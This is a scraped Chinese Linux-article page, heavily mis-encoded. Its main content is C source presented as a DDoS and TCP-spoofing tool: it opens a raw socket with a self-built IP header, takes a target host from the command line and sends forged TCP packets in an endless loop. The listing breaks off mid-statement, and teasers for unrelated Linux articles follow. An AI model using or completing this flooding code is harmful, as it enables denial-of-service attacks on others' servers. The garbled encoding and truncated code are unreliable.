Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

LinuxÏÂÍøÂç¹¥»÷DDosµÄʵÏÖ´úÂ룬tcpÊý¾ÝÆÛÆ­µÄʵÏÖ

/*
×¢Ò⣺
Õâ´ÎÖ÷Òª¸ÄÁ˺¯Êýsend_tcpÀïµÄ´úÂ룬¾ÉµÄ´úÂëÔÚÌî³äip°üʱÓÐÎÊÌâ¡£
*/
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define SRCPORT 1234
#define DSTPORT 80
struct prseuheader
{
unsigned long s_addr;
unsigned long d_addr;
unsigned char zero;
unsigned char prototp;
unsigned short len;
};
void send_tcp(int sockfd, struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr, int len);
int main(int argc, char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on = 1;
if (argc != 2) {
fprintf(stderr, "Usage:%s hostname\n\a", argv[0]);
exit(1);
}
bzero(&addr, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(SRCPORT);
if (inet_aton(argv[1], &addr.sin_addr) == 0) {
host = gethostbyname(argv[1]);
if (host == NULL) {
fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno));
exit(1);
}
addr.sin_addr = *(struct in_addr *) (host->h_addr_list[0]);
}
//´´½¨Ò»¸öTCPµÄԭʼÌ×½Ó×Ö
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0) {
fprintf(stderr, "Socket Error:%s\n\a", strerror(errno));
exit(1);
}
//ÉèÖÃIPÊý¾Ý°ü¸ñʽ,¸æËßϵͳÄÚºËÄ£¿éIPÊý¾Ý°üÓÉÎÒÃÇ×Ô¼ºÀ´Ìîд
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
//Ö»Ó󬼶»¤Óû§²Å¿ÉÒÔʹÓÃԭʼÌ×½Ó×Ö
setuid(getpid());
send_tcp(sockfd, &addr);
return 0;
}
void send_tcp(int sockfd, struct sockaddr_in *addr)
{
while (1)
{
char buffer[100];
char tcpbuff[32];
struct ip *ip;
struct tcphdr *tcp;
struct prseuheader theheader;
int head_len;
head_len = sizeof(struct ip) + sizeof(struct tcphdr);
memset((void*)buffer,'\0',100) ;
//Ìî³äIPÊý¾Ý°üÍ·
ip = (struct ip *) buffer;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip) >> 2;
ip->ip_tos =


Ïà¹ØÎĵµ£º

LinuxÉ豸ģÐÍÖ®input×ÓϵͳÏê½â

Ò»£ºÇ°ÑÔ
×î½üÔÚÑо¿androidµÄsensor driver£¬Ö÷ÒªÊÇE-compass£¬ÆäÖÐÓõ½ÁËLinux input×Óϵͳ.ÔÚÍøÉÏÒ²¿´Á˺ܶàÕâ·½ÃæµÄ×ÊÁÏ£¬¸Ð¾õ»¹ÊÇÕâƪ·ÖÎöµÄ±È½ÏϸÖÂ͸³¹£¬Òò´ËתÔØÒ»ÏÂÒÔ±ã×Ô¼ºÑ§Ï°£¬Í¬Ê±ºÍ´ó¼Ò·ÖÏí£¡
£¨Õâƪ²©¿ÍÖ÷ÒªÊÇÒÔ¼üÅÌÇý¶¯ÎªÀýµÄ£¬²»¹ý½²½âµÄÊÇLinux Input Subsystem£¬¿ÉÒÔ×ÐϸµÄÑо¿Ò»Ï£¡£©
¼üÅÌÇý¶¯½«¼ì ......

linuxÏß³Ì

ËùÓÐÏ̶߳¼ÓÐÒ»¸öÏ̺߳ţ¬Ò²¾ÍÊÇ
Thread ID
¡£ÆäÀàÐÍΪ
pthread_t
¡£Í¨¹ýµ÷ÓÃ
pthread_self()
º¯Êý¿ÉÒÔ»ñµÃ×ÔÉíµÄÏ̺߳š£
ÏÂÃæ˵һÏÂÈçºÎ´´½¨Ò»¸öÏ̡߳£
ͨ¹ý´´½¨Ị̈߳¬Ï߳̽«»áÖ´ÐÐÒ»¸öÏ̺߳¯Êý£¬¸ÃÏ̸߳ñʽ±ØÐë°´ÕÕÏÂÃæÀ´ÉùÃ÷£º
      
void * Thread_Function(void *)
´´½¨Ï ......

RHCE——RH033Ö®linuxϵĴòÓ¡»ú

 
system-config-printer        ͼÐνçÃæÉèÖôòÓ¡»ú
 
 
BSD(FreeBSD)/System V
 
lpr/lp  ´òÓ¡ÎļþÃû           ´òÓ¡
lpr  -P´òÓ¡»úÃû  ´òÓ¡ÎļþÃû 
lp &nb ......

Linux ÐéÄ⻯ºÍ PCI ͸´«¼¼Êõ


 
 
¼¶
±ð£º Öм¶
M.
Tim Jones
, ×ÔÓÉ×÷¼Ò
2009 Äê 11 ÔÂ 19 ÈÕ
´¦ÀíÆ÷ÒѾ­Ñݱä
ΪÕë¶ÔÐéÄâ»·¾³Ìá¸ßÐÔÄÜ£¬µ« I/O ·½Ãæ·¢ÉúÁËʲô±ä»¯ÄØ£¿Á˽âÒ»ÖÖÃûΪÉ豸£¨»ò PCI£©Í¸´«£¨passthrough£©µÄ I/O
ÐÔÄÜÔöÇ¿¼¼Êõ£¬ÕâÖÖ´´Ð¼¼Êõͨ¹ýʹÓÃÀ´×Ô Intel® (VT-d) »ò AMD (IOMMU) µÄÓ²¼þÖ§³Ö¸Ä½ø PCI Éè ......

Linux֮·ΪºÎÈç´Ë¼èÄÑ£¿






<!--
@page { margin: 2cm }
P { margin-bottom: 0.21cm }
-->
       ÔÚ±¾ÎÄÖУ¬Ëùν“
Linux
֮·”ÊÇָͨÏòÍêÃÀ
Linux
×ÀÃæµÄµÀ·¡£Ì¸Æð
Linux
×ÀÃ棬ÓÐÈ˲»Ð¼Ò»¹Ë£¬àÍÖ®ÒԱǡ£Êµ¼ÊÇé¿öÈçºÎ£¿
 
     11
ÔÂ
......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ